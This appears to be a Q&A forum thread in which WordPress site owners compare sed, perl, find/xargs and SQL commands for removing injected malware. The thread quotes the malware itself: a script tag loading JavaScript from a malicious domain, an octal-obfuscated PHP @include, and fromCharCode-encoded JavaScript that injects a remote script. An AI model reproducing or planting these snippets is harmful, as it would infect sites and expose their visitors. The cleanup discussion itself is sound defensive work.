Dilip Gupta
Dilip Gupta

Reputation: 134

How to replace whole string using sed or possibly grep

So my whole server got hacked or got the malware problem. my site is based on WordPress and the majority of sites hosted on my server is WordPress based. The hacker added this line of code to every single file and in database

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

I did search it via grep using

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

I'm trying to replace it throughout the file structure with sed and I've written the following command.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

I'm trying to replace the string on a single file index.php first, so I know it works.

and I know my code is wrong. Please help me with this.

I tried with the @Eran's code and it deleted the whole line, which is good and as expected. However, the total jargon is this

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

And while I wish to delete all the content, I wish to keep the php opening tag <?php.

Though @slybloty's solution is easy and it worked.

so to remove the code fully from all the affected files. I'm running the following 3 commands, Thanks to all of you for this.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - To Remove the script line
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - To remove the @include line
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - To remove the comment line

Also, I ran all 3 commands again for '*.html', because the hacker's script created unwanted index.html in all the directories. I was not sure if deleting these index.html in bulk is the right approach.

now, I still need to figure out the junk files and traces of it.

The hacker script added the JS code as well.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Trying to see if I can sed it as well.

Upvotes: 10

Views: 1764

Answers (7)

mik013
mik013

Reputation: 21

I've got the same thing today, all page posts got the script added. I've handled with them successfully by using the Search and replace plugin.

Moreover, I've also found one record in wp_posts table post_content column folowing string:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

and deleted it manually.

Upvotes: 0

Jason
Jason

Reputation: 2671

Single quotes are taken literally without escape characters. In var='hello\'', you have an un-closed quote.

To fix this problem, 1) Use double quotes to surround the sed command OR 2) Terminate the single quoted string, add \', and reopen the quote string.

The second method is more confusing, however.

Additionally, sed can use any delimiter to separate commands. Since you have slashes in the commands, it is easier to use commas. For instance, using the first method:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Using the second method:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

This example is more educational than practical. Here is how '\'' works:

First ': End current quoted literal string

\': Enter single quote as literal character

Second ': Re-enter quoted literal string

As long as there are no spaces there, you will just be continuing your sed command. This idea is unique to bash.

I am leaving the escaped < and > in there because I'm not entirely sure what you are using this for. sed uses the \< and \> to mean word matching. I'm not sure if that is intentional or not.

If this is not matching anything, then you probably want to avoid escaping the < and >.

Edit: Please see @EranBen-Natan's solution in the comments for a more practical solution to the actual problem. My answer is more of a resource as to why OP was being prompted for more input with his original command.

Solution for edit 2

For this to work, I'm making the assumption that your sed has the non-standard option -z. GNU version of sed should have this. I'm also making the assumption that this code always appears in the format being 6 lines long

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

How it works: We are using the beginning of the fromCharCode line to match everything. -z splits the file on nulls instead of new lines. This allows us to search for line feeds directly.

[^\n]*\n - This matches everything until a line feed, and then matches the line feed, avoiding greedy regex matching. Because we aren't splitting on line feeds (-z), the regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n matches the largest possible match. For example, if \n}\n appeared anywhere further down in the file, you would delete all the code between there and the malicious code. Thus, repeating this sequence 6 times matches us to the end of the first line as well as the next 5 lines.

grep -lr - Just a recursive grep where we only list the files that have the matching pattern. This way, sed isn't editing every file. Without this, -i.bak (not plain -i) would make a mess.

Upvotes: 2

For me worked this:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

You have to search for : *.js, *.json, *.map

Upvotes: 0

Jiro Matchonson
Jiro Matchonson

Reputation: 981

I got the same thing today, all page posts got this nasty virus script added

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

I dissabled it from database by

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

I do not have files infected at least

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

did not found a thing, but I have no idea how this got into database from which am not calm at all.

This infection caused redirects on pages, chrome mostly detect and block this. Did not notice anything strange in - /wp-mail-smtp/src/Debug.php

Upvotes: 0

KamilCuk
KamilCuk

Reputation: 141883

Whatever method you decide to use with sed, you can run multiple processes concurrently on multiple files with perfect filtering options with find and xargs. For example:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

It will:

  • find - find
  • -type f - only files
  • -name '*.txt' - that end with php
  • -print0 - pritn them separated by zero bytes
  • | xargs -0 - for each file separated by zero byte
  • -P7 - run 7 processes concurently
  • -n1 - for each one file
  • sed - for each file run sed
  • -i - edit the file in place
  • '...' - the sed script you want to run from other answers.

You may want to add -t option to xargs to see the progress. See man find (man args](http://man7.org/linux/man-pages/man1/xargs.1.html).

Upvotes: 2

skuroedov
skuroedov

Reputation: 77

Do you have wp-mail-smtp plugin installed? We have the same malware and we had some weird thing in wp-content/plugins/wp-mail-smtp/src/Debug.php.

Also, the javascript link is in every post_content field in wp_posts in WordPress database.

Upvotes: 1

slybloty
slybloty

Reputation: 6526

Use double quotes (") for the string and don't escape the single quotes (') nor the tags (<>). Only escape the slashes (/).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

Upvotes: 2

Related Questions